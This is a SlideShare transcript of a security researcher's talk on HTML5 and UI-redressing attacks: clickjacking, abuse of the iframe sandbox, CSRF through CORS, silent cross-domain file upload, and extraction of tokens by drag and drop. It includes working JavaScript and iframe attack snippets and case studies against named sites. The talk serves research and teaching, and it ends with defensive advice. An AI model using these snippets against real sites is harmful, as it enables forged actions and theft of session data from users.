SlideShare uma empresa Scribd logo
1 de 49
Baixar para ler offline
HTML5:
Something wicked this way comes

Krzysztof Kotowicz
Securing




                     1
About me
• security researcher
  • HTML 5
  • UI redressing / clickjacking
  • xss-track, squid-imposter, ...
• pentester
• IT security trainer
  • „Hacking HTML5”
                        2
Plan
• Same origin policy
• Exploiting users
• Attack gadgets
• Wrap-up


                   3
Same origin policy
• the single most important security
   concept for the web
• restricts communication between
   websites from different domains
• has many flavors
• without it hell breaks loose

                   4
Same origin policy
• can be relaxed though
  • crossdomain.xml
  • document.domain
  • HTML5 Cross Origin Resource Sharing
• or ignored...
  • by exploiting users
  • UI redressing (clickjacking)
                       5
Exploiting users
 Users
• Like games
  • 100 mln play social games //goo.gl/RRWlM
• Are not security-savvy


                     6
Exploiting users




                       //goo.gl/DgPpY
                   7
Combined attacks
• Gadgets
  • HTML5
  • UI redressing
• Join them
• New attacks


                    8
Gadgets



  9
Basic clickjacking




                 10
Basic clickjacking




                      20x20   <iframe>




                 11
Basic clickjacking



                                   <iframe>


                            -300

             -350        20x20




                    12
Basic clickjacking



                                      <iframe>
               Victim website


                      20x20   Like us, plz!




                 13
Basic clickjacking
  <iframe src=outer.html
width=20 height=20 scrolling=no
style="opacity:0;"></iframe>

<!-- outer.html -->
<iframe src="//victim" width=5000
height=5000 style="position:
absolute; top:-300px; left:
-350px;"></iframe>

                 14
Basic clickjacking
• Trick: Click here to see a video!
• User action: click
+ Any clickable action
+ Works in every browser
-   X-Frame-Option
-   JS framebusting
                      15
HTML5 IFRAME sandbox
• Used to embed untrusted content
   • prevents XSS
   • prevents defacement
• Facilitates clickjacking!
<iframe sandbox="allow-same-origin
allow-forms allow-scripts"
 src="//victim"></iframe>
                              //html5sec.org/#122

                     16
HTML5 IFRAME sandbox



+ Chrome / Safari / IE 10
+ Will disable most JS framebusters
-   X-Frame-Option



                     17
Cross Origin Resource Sharing
• HTML5-ish
• Cross domain AJAX
• With cookies
• Blind
  • Unless the receiving site agrees
• Not limited to <form> syntax
• Used to trigger CSRF
                      18
Cross Origin Resource Sharing


var xhr = new XMLHttpRequest();
    
xhr.open("POST", "http://victim", true);
xhr.setRequestHeader("Content-Type", "text/plain");
xhr.withCredentials = "true"; // send cookies
xhr.send("Anything I want");




                        19
Cross Origin Resource Sharing

POST / HTTP/1.1
Host: victim
Connection: keep-alive
Referer: http://dev.localhost/temp/cors.php
Content-Length: 15
Origin: http://dev.localhost
Content-Type: text/plain
...
Cookie: my-cookie=myvalue

Anything I want



                           20
Silent file upload
• File upload purely in Javascript
• Silent <input type=file> with any file
   name and content
• Uses CORS
• How? Create raw multipart/form-data

                     21
Silent file upload
function fileUpload(url, fileData, fileName) {
   var fileSize = fileData.length,
     boundary = "xxxxxxxxx",
     xhr = new XMLHttpRequest();
    
   xhr.open("POST", url, true);
   xhr.withCredentials = "true";
   xhr.setRequestHeader("Content-Type",
      "multipart/form-data, boundary="+boundary);
   xhr.setRequestHeader("Content-Length", fileSize);




                         22
Silent file upload

var body = "
--" + boundary + 'rn
Content-Disposition: form-data;
 name="contents"; filename="' + fileName + '"rn
Content-Type: application/octet-streamrn
rn
' + fileData + 'rn
--' + boundary + '--';

xhr.send(body);




                        23
Silent file upload
+ No user action
+ No frames
+ Cross-domain, with cookies
+ Works in most browsers
+ You can add more form fields
-   CSRF flaw needed
-   No access to response
                     24
Silent file upload



                DEMO
              Flickr.com




                     25
Flickr.com attack toolbox
• Remember me
  • Flickr creates logged session on first
     request

• CSRF file upload
  • http://up.flickr.com/photos/upload/transfer/
  • accepts file uploads
  • token check skipped

                       26
Drag into
• Put attackers content into victim form




                   27
Drag into



                DEMO
            Alphabet Hero




                 28
Drag into
• Trick: Put paper in the can!
• User action: drag & drop, click
+   Inject arbitrary content
+   Trigger self-XSS
-   Firefox only
-   X-Frame-Option
-   JS framebusting

                        29
Drag into
 Self-XSS in real life:
• wordpress 0-day (Jelmer de Hen)
   //goo.gl/dNYi5
• chronme.com (sneaked.net)
   //goo.gl/hs7Bw
• Google Code vulns (Amol Naik)
   //goo.gl/NxKFY

                    30
Drag out content extraction


    image


                      image




                 31
Drag out content extraction


    image
        victim
      <iframe>
                      image




                 32
Drag out content extraction


    image
        victim
      <iframe>
                      textarea
                        <textarea>




                 33
Drag out content extraction
<div id=game style="position:relative">
    <img style="position:absolute;..."
          src="paper.png" />
    <img style="position:absolute;..."
          src="trash.png" />    
    <iframe scrolling=no id=iframe
     style="position:absolute;opacity:0;...">
     </iframe>
   <textarea style="position:absolute;
       opacity:0;..." id=dropper></textarea>
</div>

                      34
Drag out content extraction




                 35
Drag out content extraction




                 36
Drag out content extraction

$("#iframe").attr('src', 'outer.html’);
$('#dropper').bind('drop', function() {
    setTimeout(function() {
        var urlmatch = $("#dropper").val()
                        .match(/token=([a-h0-9]+)$/);
        if (urlmatch) {
            var token = urlmatch[1];
            // do EVIL
        }
    }, 100);
});




                            37
Drag out content extraction
• Trick: Put paper in the can!
• User action: drag & drop
+ Access sensitive content cross domain
-   Firefox only
-   X-Frame-Option
-   JS framebusting

                      38
Drag out content extraction



              DEMO
              Min.us




                 39
Min.us attack toolbox
• CORS to create gallery
• social engineering
  • extract gallery editor-id from <a href>
• silent file upload to gallery
• CORS change gallery to public
• HTML5 + UI redressing combined!
                       40
View-source
• Display HTML source in frame
  • session IDs
  • tokens
  • private data
<iframe
 src="view-source:view-source:http://victim"
 width=5000 height=5000
 style="position: absolute;
        top: -300px; left: -150px;">
</iframe>

                      41
View-source




              42
View-source




              43
View-source
• Trick: Your serial number is...
• User action: select + drag & drop, copy-paste
+   Beats JS framebusting
+   Already earned $500 from Facebook
-   X-Frame-Options
-   Firefox only
-   Complicated user action


                       44
View-source



                DEMO
              Imgur.com




                 45
Imgur.com attack toolbox
• framed view-source:
  • captcha-like string (AdSense ID)
  • session ID
• social engineering:
  • trick to copy/paste page source
• Exploitation:
  • http://api.imgur.com
  • cookie auth, no IP limits for session
                       46
Summary
• UI redressing attacks are improving
• HTML5 helps exploiting
   vulnerabilities
• Users can be a weak link too!
   Devs:
   Use X-Frame-Options: DENY

                     47
Links
• html5sec.org
• code.google.com/p/html5security
• www.contextis.co.uk/research/white-papers/
    clickjacking
• blog.kotowicz.net
• github.com/koto
  Twitter: @kkotowicz
  kkotowicz@securing.pl

                        48
?
49

Mais conteúdo relacionado

Mais procurados

How to make Ajax Libraries work for you
How to make Ajax Libraries work for youHow to make Ajax Libraries work for you
How to make Ajax Libraries work for youSimon Willison
 
Netvibes UWA workshop at ParisWeb 2007
Netvibes UWA workshop at ParisWeb 2007Netvibes UWA workshop at ParisWeb 2007
Netvibes UWA workshop at ParisWeb 2007Netvibes
 
HTML5 (and friends) - History, overview and current status - jsDay Verona 11....
HTML5 (and friends) - History, overview and current status - jsDay Verona 11....HTML5 (and friends) - History, overview and current status - jsDay Verona 11....
HTML5 (and friends) - History, overview and current status - jsDay Verona 11....Patrick Lauke
 
[Poland] It's only about frontend
[Poland] It's only about frontend[Poland] It's only about frontend
[Poland] It's only about frontendOWASP EEE
 
WAPWG Clark defining capturing_web-based_if
WAPWG Clark defining capturing_web-based_ifWAPWG Clark defining capturing_web-based_if
WAPWG Clark defining capturing_web-based_ifSara Day Thomson
 
14. html 5 security considerations
14. html 5 security considerations14. html 5 security considerations
14. html 5 security considerationsEoin Keary
 
XXE Exposed: SQLi, XSS, XXE and XEE against Web Services
XXE Exposed: SQLi, XSS, XXE and XEE against Web ServicesXXE Exposed: SQLi, XSS, XXE and XEE against Web Services
XXE Exposed: SQLi, XSS, XXE and XEE against Web ServicesAbraham Aranguren
 

Mais procurados (8)

How to make Ajax Libraries work for you
How to make Ajax Libraries work for youHow to make Ajax Libraries work for you
How to make Ajax Libraries work for you
 
Netvibes UWA workshop at ParisWeb 2007
Netvibes UWA workshop at ParisWeb 2007Netvibes UWA workshop at ParisWeb 2007
Netvibes UWA workshop at ParisWeb 2007
 
HTML5 (and friends) - History, overview and current status - jsDay Verona 11....
HTML5 (and friends) - History, overview and current status - jsDay Verona 11....HTML5 (and friends) - History, overview and current status - jsDay Verona 11....
HTML5 (and friends) - History, overview and current status - jsDay Verona 11....
 
[Poland] It's only about frontend
[Poland] It's only about frontend[Poland] It's only about frontend
[Poland] It's only about frontend
 
WAPWG Clark defining capturing_web-based_if
WAPWG Clark defining capturing_web-based_ifWAPWG Clark defining capturing_web-based_if
WAPWG Clark defining capturing_web-based_if
 
14. html 5 security considerations
14. html 5 security considerations14. html 5 security considerations
14. html 5 security considerations
 
XXE Exposed: SQLi, XSS, XXE and XEE against Web Services
XXE Exposed: SQLi, XSS, XXE and XEE against Web ServicesXXE Exposed: SQLi, XSS, XXE and XEE against Web Services
XXE Exposed: SQLi, XSS, XXE and XEE against Web Services
 
The Devil and HTML5
The Devil and HTML5The Devil and HTML5
The Devil and HTML5
 

Destaque

New Insights into Clickjacking
New Insights into ClickjackingNew Insights into Clickjacking
New Insights into ClickjackingMarco Balduzzi
 
Why HTML Form dose not support PUT & DELETE ?
Why HTML Form dose not support PUT & DELETE ?Why HTML Form dose not support PUT & DELETE ?
Why HTML Form dose not support PUT & DELETE ?Jxck Jxck
 
Marcus Niemietz - UI Redressing and Clickjacking About click fraud and data t...
Marcus Niemietz - UI Redressing and Clickjacking About click fraud and data t...Marcus Niemietz - UI Redressing and Clickjacking About click fraud and data t...
Marcus Niemietz - UI Redressing and Clickjacking About click fraud and data t...DefconRussia
 
CSRF: ways to exploit, ways to prevent
CSRF: ways to exploit, ways to preventCSRF: ways to exploit, ways to prevent
CSRF: ways to exploit, ways to preventPaulius Leščinskas
 
CSRF, ClickJacking & Open Redirect
CSRF, ClickJacking & Open RedirectCSRF, ClickJacking & Open Redirect
CSRF, ClickJacking & Open RedirectBlueinfy Solutions
 

Destaque (9)

CSRF + clickjacking
CSRF + clickjackingCSRF + clickjacking
CSRF + clickjacking
 
New Insights into Clickjacking
New Insights into ClickjackingNew Insights into Clickjacking
New Insights into Clickjacking
 
Why HTML Form dose not support PUT & DELETE ?
Why HTML Form dose not support PUT & DELETE ?Why HTML Form dose not support PUT & DELETE ?
Why HTML Form dose not support PUT & DELETE ?
 
Marcus Niemietz - UI Redressing and Clickjacking About click fraud and data t...
Marcus Niemietz - UI Redressing and Clickjacking About click fraud and data t...Marcus Niemietz - UI Redressing and Clickjacking About click fraud and data t...
Marcus Niemietz - UI Redressing and Clickjacking About click fraud and data t...
 
CSRF: ways to exploit, ways to prevent
CSRF: ways to exploit, ways to preventCSRF: ways to exploit, ways to prevent
CSRF: ways to exploit, ways to prevent
 
Clickjacking Attack
Clickjacking AttackClickjacking Attack
Clickjacking Attack
 
CSRF, ClickJacking & Open Redirect
CSRF, ClickJacking & Open RedirectCSRF, ClickJacking & Open Redirect
CSRF, ClickJacking & Open Redirect
 
Click jacking
Click jacking Click jacking
Click jacking
 
Bug Bounty for - Beginners
Bug Bounty for - BeginnersBug Bounty for - Beginners
Bug Bounty for - Beginners
 

Semelhante a Html5: something wicked this way comes

Krzysztof kotowicz. something wicked this way comes
Krzysztof kotowicz. something wicked this way comesKrzysztof kotowicz. something wicked this way comes
Krzysztof kotowicz. something wicked this way comesYury Chemerkin
 
Html5 security
Html5 securityHtml5 security
Html5 securityKrishna T
 
External JavaScript Widget Development Best Practices (updated) (v.1.1)
External JavaScript Widget Development Best Practices (updated) (v.1.1) External JavaScript Widget Development Best Practices (updated) (v.1.1)
External JavaScript Widget Development Best Practices (updated) (v.1.1) Volkan Özçelik
 
Mobile Web Development with HTML5
Mobile Web Development with HTML5Mobile Web Development with HTML5
Mobile Web Development with HTML5Roy Clarkson
 
External JavaScript Widget Development Best Practices
External JavaScript Widget Development Best PracticesExternal JavaScript Widget Development Best Practices
External JavaScript Widget Development Best PracticesVolkan Özçelik
 
Protecting Java EE Web Apps with Secure HTTP Headers
Protecting Java EE Web Apps with Secure HTTP HeadersProtecting Java EE Web Apps with Secure HTTP Headers
Protecting Java EE Web Apps with Secure HTTP HeadersFrank Kim
 
Java scriptwidgetdevelopmentjstanbul2012
Java scriptwidgetdevelopmentjstanbul2012Java scriptwidgetdevelopmentjstanbul2012
Java scriptwidgetdevelopmentjstanbul2012Volkan Özçelik
 
HTML for the Mobile Web, Firefox OS
HTML for the Mobile Web, Firefox OSHTML for the Mobile Web, Firefox OS
HTML for the Mobile Web, Firefox OSAll Things Open
 
Devouring Security Insufficient data validation risks Cross Site Scripting
Devouring Security Insufficient data validation risks Cross Site ScriptingDevouring Security Insufficient data validation risks Cross Site Scripting
Devouring Security Insufficient data validation risks Cross Site Scriptinggmaran23
 
On the Edge Systems Administration with Golang
On the Edge Systems Administration with GolangOn the Edge Systems Administration with Golang
On the Edge Systems Administration with GolangChris McEniry
 
How dojo works
How dojo worksHow dojo works
How dojo worksAmit Tyagi
 
Browser Horror Stories
Browser Horror StoriesBrowser Horror Stories
Browser Horror StoriesEC-Council
 
Modern iframe programming
Modern iframe programmingModern iframe programming
Modern iframe programmingbenvinegar
 
[ENG] Hacker halted 2012 - Zombie browsers, spiced with rootkit extensions
[ENG] Hacker halted 2012 - Zombie browsers, spiced with rootkit extensions[ENG] Hacker halted 2012 - Zombie browsers, spiced with rootkit extensions
[ENG] Hacker halted 2012 - Zombie browsers, spiced with rootkit extensionsZoltan Balazs
 
Firefox OS - The platform you deserve - Athens App Days - 2013-11-27
Firefox OS - The platform you deserve - Athens App Days - 2013-11-27Firefox OS - The platform you deserve - Athens App Days - 2013-11-27
Firefox OS - The platform you deserve - Athens App Days - 2013-11-27Frédéric Harper
 
Securing your web application through HTTP headers
Securing your web application through HTTP headersSecuring your web application through HTTP headers
Securing your web application through HTTP headersAndre N. Klingsheim
 
Expert guide for PHP
Expert guide for PHPExpert guide for PHP
Expert guide for PHPSteve Fort
 

Semelhante a Html5: something wicked this way comes (20)

Krzysztof kotowicz. something wicked this way comes
Krzysztof kotowicz. something wicked this way comesKrzysztof kotowicz. something wicked this way comes
Krzysztof kotowicz. something wicked this way comes
 
Html5 security
Html5 securityHtml5 security
Html5 security
 
External JavaScript Widget Development Best Practices (updated) (v.1.1)
External JavaScript Widget Development Best Practices (updated) (v.1.1) External JavaScript Widget Development Best Practices (updated) (v.1.1)
External JavaScript Widget Development Best Practices (updated) (v.1.1)
 
Clickjacking
ClickjackingClickjacking
Clickjacking
 
Mobile Web Development with HTML5
Mobile Web Development with HTML5Mobile Web Development with HTML5
Mobile Web Development with HTML5
 
External JavaScript Widget Development Best Practices
External JavaScript Widget Development Best PracticesExternal JavaScript Widget Development Best Practices
External JavaScript Widget Development Best Practices
 
Protecting Java EE Web Apps with Secure HTTP Headers
Protecting Java EE Web Apps with Secure HTTP HeadersProtecting Java EE Web Apps with Secure HTTP Headers
Protecting Java EE Web Apps with Secure HTTP Headers
 
Java scriptwidgetdevelopmentjstanbul2012
Java scriptwidgetdevelopmentjstanbul2012Java scriptwidgetdevelopmentjstanbul2012
Java scriptwidgetdevelopmentjstanbul2012
 
HTML for the Mobile Web, Firefox OS
HTML for the Mobile Web, Firefox OSHTML for the Mobile Web, Firefox OS
HTML for the Mobile Web, Firefox OS
 
Devouring Security Insufficient data validation risks Cross Site Scripting
Devouring Security Insufficient data validation risks Cross Site ScriptingDevouring Security Insufficient data validation risks Cross Site Scripting
Devouring Security Insufficient data validation risks Cross Site Scripting
 
On the Edge Systems Administration with Golang
On the Edge Systems Administration with GolangOn the Edge Systems Administration with Golang
On the Edge Systems Administration with Golang
 
How dojo works
How dojo worksHow dojo works
How dojo works
 
Browser Horror Stories
Browser Horror StoriesBrowser Horror Stories
Browser Horror Stories
 
Html5 hacking
Html5 hackingHtml5 hacking
Html5 hacking
 
Modern iframe programming
Modern iframe programmingModern iframe programming
Modern iframe programming
 
Cos 432 web_security
Cos 432 web_securityCos 432 web_security
Cos 432 web_security
 
[ENG] Hacker halted 2012 - Zombie browsers, spiced with rootkit extensions
[ENG] Hacker halted 2012 - Zombie browsers, spiced with rootkit extensions[ENG] Hacker halted 2012 - Zombie browsers, spiced with rootkit extensions
[ENG] Hacker halted 2012 - Zombie browsers, spiced with rootkit extensions
 
Firefox OS - The platform you deserve - Athens App Days - 2013-11-27
Firefox OS - The platform you deserve - Athens App Days - 2013-11-27Firefox OS - The platform you deserve - Athens App Days - 2013-11-27
Firefox OS - The platform you deserve - Athens App Days - 2013-11-27
 
Securing your web application through HTTP headers
Securing your web application through HTTP headersSecuring your web application through HTTP headers
Securing your web application through HTTP headers
 
Expert guide for PHP
Expert guide for PHPExpert guide for PHP
Expert guide for PHP
 

Mais de Krzysztof Kotowicz

Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)
Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)
Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)Krzysztof Kotowicz
 
Trusted Types and the end of DOM XSS
Trusted Types and the end of DOM XSSTrusted Types and the end of DOM XSS
Trusted Types and the end of DOM XSSKrzysztof Kotowicz
 
Biting into the forbidden fruit. Lessons from trusting Javascript crypto.
Biting into the forbidden fruit. Lessons from trusting Javascript crypto.Biting into the forbidden fruit. Lessons from trusting Javascript crypto.
Biting into the forbidden fruit. Lessons from trusting Javascript crypto.Krzysztof Kotowicz
 
Hacking HTML5 offensive course (Zeronights edition)
Hacking HTML5 offensive course (Zeronights edition)Hacking HTML5 offensive course (Zeronights edition)
Hacking HTML5 offensive course (Zeronights edition)Krzysztof Kotowicz
 
I'm in ur browser, pwning your stuff - Attacking (with) Google Chrome Extensions
I'm in ur browser, pwning your stuff - Attacking (with) Google Chrome ExtensionsI'm in ur browser, pwning your stuff - Attacking (with) Google Chrome Extensions
I'm in ur browser, pwning your stuff - Attacking (with) Google Chrome ExtensionsKrzysztof Kotowicz
 
I'm in your browser, pwning your stuff
I'm in your browser, pwning your stuffI'm in your browser, pwning your stuff
I'm in your browser, pwning your stuffKrzysztof Kotowicz
 
Advanced Chrome extension exploitation
Advanced Chrome extension exploitationAdvanced Chrome extension exploitation
Advanced Chrome extension exploitationKrzysztof Kotowicz
 
Creating, obfuscating and analyzing malware JavaScript
Creating, obfuscating and analyzing malware JavaScriptCreating, obfuscating and analyzing malware JavaScript
Creating, obfuscating and analyzing malware JavaScriptKrzysztof Kotowicz
 
Tworzenie, zaciemnianie i analiza złośliwego kodu JavaScript
Tworzenie, zaciemnianie i analiza złośliwego kodu JavaScriptTworzenie, zaciemnianie i analiza złośliwego kodu JavaScript
Tworzenie, zaciemnianie i analiza złośliwego kodu JavaScriptKrzysztof Kotowicz
 
Jak ocalić swoje dane przed SQL injection?
Jak ocalić swoje dane przed SQL injection?Jak ocalić swoje dane przed SQL injection?
Jak ocalić swoje dane przed SQL injection?Krzysztof Kotowicz
 
SQL Injection: complete walkthrough (not only) for PHP developers
SQL Injection: complete walkthrough (not only) for PHP developersSQL Injection: complete walkthrough (not only) for PHP developers
SQL Injection: complete walkthrough (not only) for PHP developersKrzysztof Kotowicz
 
Kompletny przewodnik po SQL injection dla developerów PHP (i nie tylko)
Kompletny przewodnik po SQL injection dla developerów PHP (i nie tylko)Kompletny przewodnik po SQL injection dla developerów PHP (i nie tylko)
Kompletny przewodnik po SQL injection dla developerów PHP (i nie tylko)Krzysztof Kotowicz
 

Mais de Krzysztof Kotowicz (14)

Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)
Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)
Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)
 
Trusted Types @ W3C TPAC 2018
Trusted Types @ W3C TPAC 2018Trusted Types @ W3C TPAC 2018
Trusted Types @ W3C TPAC 2018
 
Trusted Types and the end of DOM XSS
Trusted Types and the end of DOM XSSTrusted Types and the end of DOM XSS
Trusted Types and the end of DOM XSS
 
Biting into the forbidden fruit. Lessons from trusting Javascript crypto.
Biting into the forbidden fruit. Lessons from trusting Javascript crypto.Biting into the forbidden fruit. Lessons from trusting Javascript crypto.
Biting into the forbidden fruit. Lessons from trusting Javascript crypto.
 
Hacking HTML5 offensive course (Zeronights edition)
Hacking HTML5 offensive course (Zeronights edition)Hacking HTML5 offensive course (Zeronights edition)
Hacking HTML5 offensive course (Zeronights edition)
 
I'm in ur browser, pwning your stuff - Attacking (with) Google Chrome Extensions
I'm in ur browser, pwning your stuff - Attacking (with) Google Chrome ExtensionsI'm in ur browser, pwning your stuff - Attacking (with) Google Chrome Extensions
I'm in ur browser, pwning your stuff - Attacking (with) Google Chrome Extensions
 
HTML5: Atak i obrona
HTML5: Atak i obronaHTML5: Atak i obrona
HTML5: Atak i obrona
 
I'm in your browser, pwning your stuff
I'm in your browser, pwning your stuffI'm in your browser, pwning your stuff
I'm in your browser, pwning your stuff
 
Advanced Chrome extension exploitation
Advanced Chrome extension exploitationAdvanced Chrome extension exploitation
Advanced Chrome extension exploitation
 
Creating, obfuscating and analyzing malware JavaScript
Creating, obfuscating and analyzing malware JavaScriptCreating, obfuscating and analyzing malware JavaScript
Creating, obfuscating and analyzing malware JavaScript
 
Tworzenie, zaciemnianie i analiza złośliwego kodu JavaScript
Tworzenie, zaciemnianie i analiza złośliwego kodu JavaScriptTworzenie, zaciemnianie i analiza złośliwego kodu JavaScript
Tworzenie, zaciemnianie i analiza złośliwego kodu JavaScript
 
Jak ocalić swoje dane przed SQL injection?
Jak ocalić swoje dane przed SQL injection?Jak ocalić swoje dane przed SQL injection?
Jak ocalić swoje dane przed SQL injection?
 
SQL Injection: complete walkthrough (not only) for PHP developers
SQL Injection: complete walkthrough (not only) for PHP developersSQL Injection: complete walkthrough (not only) for PHP developers
SQL Injection: complete walkthrough (not only) for PHP developers
 
Kompletny przewodnik po SQL injection dla developerów PHP (i nie tylko)
Kompletny przewodnik po SQL injection dla developerów PHP (i nie tylko)Kompletny przewodnik po SQL injection dla developerów PHP (i nie tylko)
Kompletny przewodnik po SQL injection dla developerów PHP (i nie tylko)
 

Último

Emergent Methods: Multi-lingual narrative tracking in the news - real-time ex...
Emergent Methods: Multi-lingual narrative tracking in the news - real-time ex...Emergent Methods: Multi-lingual narrative tracking in the news - real-time ex...
Emergent Methods: Multi-lingual narrative tracking in the news - real-time ex...Zilliz
 
Real Time Object Detection Using Open CV
Real Time Object Detection Using Open CVReal Time Object Detection Using Open CV
Real Time Object Detection Using Open CVKhem
 
EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWER
EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWEREMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWER
EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWERMadyBayot
 
Ransomware_Q4_2023. The report. [EN].pdf
Ransomware_Q4_2023. The report. [EN].pdfRansomware_Q4_2023. The report. [EN].pdf
Ransomware_Q4_2023. The report. [EN].pdfOverkill Security
 
Manulife - Insurer Transformation Award 2024
Manulife - Insurer Transformation Award 2024Manulife - Insurer Transformation Award 2024
Manulife - Insurer Transformation Award 2024The Digital Insurer
 
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Miguel Araújo
 
Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024The Digital Insurer
 
A Year of the Servo Reboot: Where Are We Now?
A Year of the Servo Reboot: Where Are We Now?A Year of the Servo Reboot: Where Are We Now?
A Year of the Servo Reboot: Where Are We Now?Igalia
 
AWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of TerraformAWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of TerraformAndrey Devyatkin
 
Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...apidays
 
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers:  A Deep Dive into Serverless Spatial Data and FMECloud Frontiers:  A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FMESafe Software
 
Automating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps ScriptAutomating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps Scriptwesley chun
 
Navi Mumbai Call Girls 🥰 8617370543 Service Offer VIP Hot Model
Navi Mumbai Call Girls 🥰 8617370543 Service Offer VIP Hot ModelNavi Mumbai Call Girls 🥰 8617370543 Service Offer VIP Hot Model
Navi Mumbai Call Girls 🥰 8617370543 Service Offer VIP Hot ModelDeepika Singh
 
Polkadot JAM Slides - Token2049 - By Dr. Gavin Wood
Polkadot JAM Slides - Token2049 - By Dr. Gavin WoodPolkadot JAM Slides - Token2049 - By Dr. Gavin Wood
Polkadot JAM Slides - Token2049 - By Dr. Gavin WoodJuan lago vázquez
 
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data DiscoveryTrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data DiscoveryTrustArc
 
Corporate and higher education May webinar.pptx
Corporate and higher education May webinar.pptxCorporate and higher education May webinar.pptx
Corporate and higher education May webinar.pptxRustici Software
 
ICT role in 21st century education and its challenges
ICT role in 21st century education and its challengesICT role in 21st century education and its challenges
ICT role in 21st century education and its challengesrafiqahmad00786416
 
Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...
Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...
Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...apidays
 
Why Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire businessWhy Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire businesspanagenda
 
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...apidays
 

Último (20)

Emergent Methods: Multi-lingual narrative tracking in the news - real-time ex...
Emergent Methods: Multi-lingual narrative tracking in the news - real-time ex...Emergent Methods: Multi-lingual narrative tracking in the news - real-time ex...
Emergent Methods: Multi-lingual narrative tracking in the news - real-time ex...
 
Real Time Object Detection Using Open CV
Real Time Object Detection Using Open CVReal Time Object Detection Using Open CV
Real Time Object Detection Using Open CV
 
EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWER
EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWEREMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWER
EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWER
 
Ransomware_Q4_2023. The report. [EN].pdf
Ransomware_Q4_2023. The report. [EN].pdfRansomware_Q4_2023. The report. [EN].pdf
Ransomware_Q4_2023. The report. [EN].pdf
 
Manulife - Insurer Transformation Award 2024
Manulife - Insurer Transformation Award 2024Manulife - Insurer Transformation Award 2024
Manulife - Insurer Transformation Award 2024
 
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
 
Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024
 
A Year of the Servo Reboot: Where Are We Now?
A Year of the Servo Reboot: Where Are We Now?A Year of the Servo Reboot: Where Are We Now?
A Year of the Servo Reboot: Where Are We Now?
 
AWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of TerraformAWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of Terraform
 
Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...
 
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers:  A Deep Dive into Serverless Spatial Data and FMECloud Frontiers:  A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
 
Automating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps ScriptAutomating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps Script
 
Navi Mumbai Call Girls 🥰 8617370543 Service Offer VIP Hot Model
Navi Mumbai Call Girls 🥰 8617370543 Service Offer VIP Hot ModelNavi Mumbai Call Girls 🥰 8617370543 Service Offer VIP Hot Model
Navi Mumbai Call Girls 🥰 8617370543 Service Offer VIP Hot Model
 
Polkadot JAM Slides - Token2049 - By Dr. Gavin Wood
Polkadot JAM Slides - Token2049 - By Dr. Gavin WoodPolkadot JAM Slides - Token2049 - By Dr. Gavin Wood
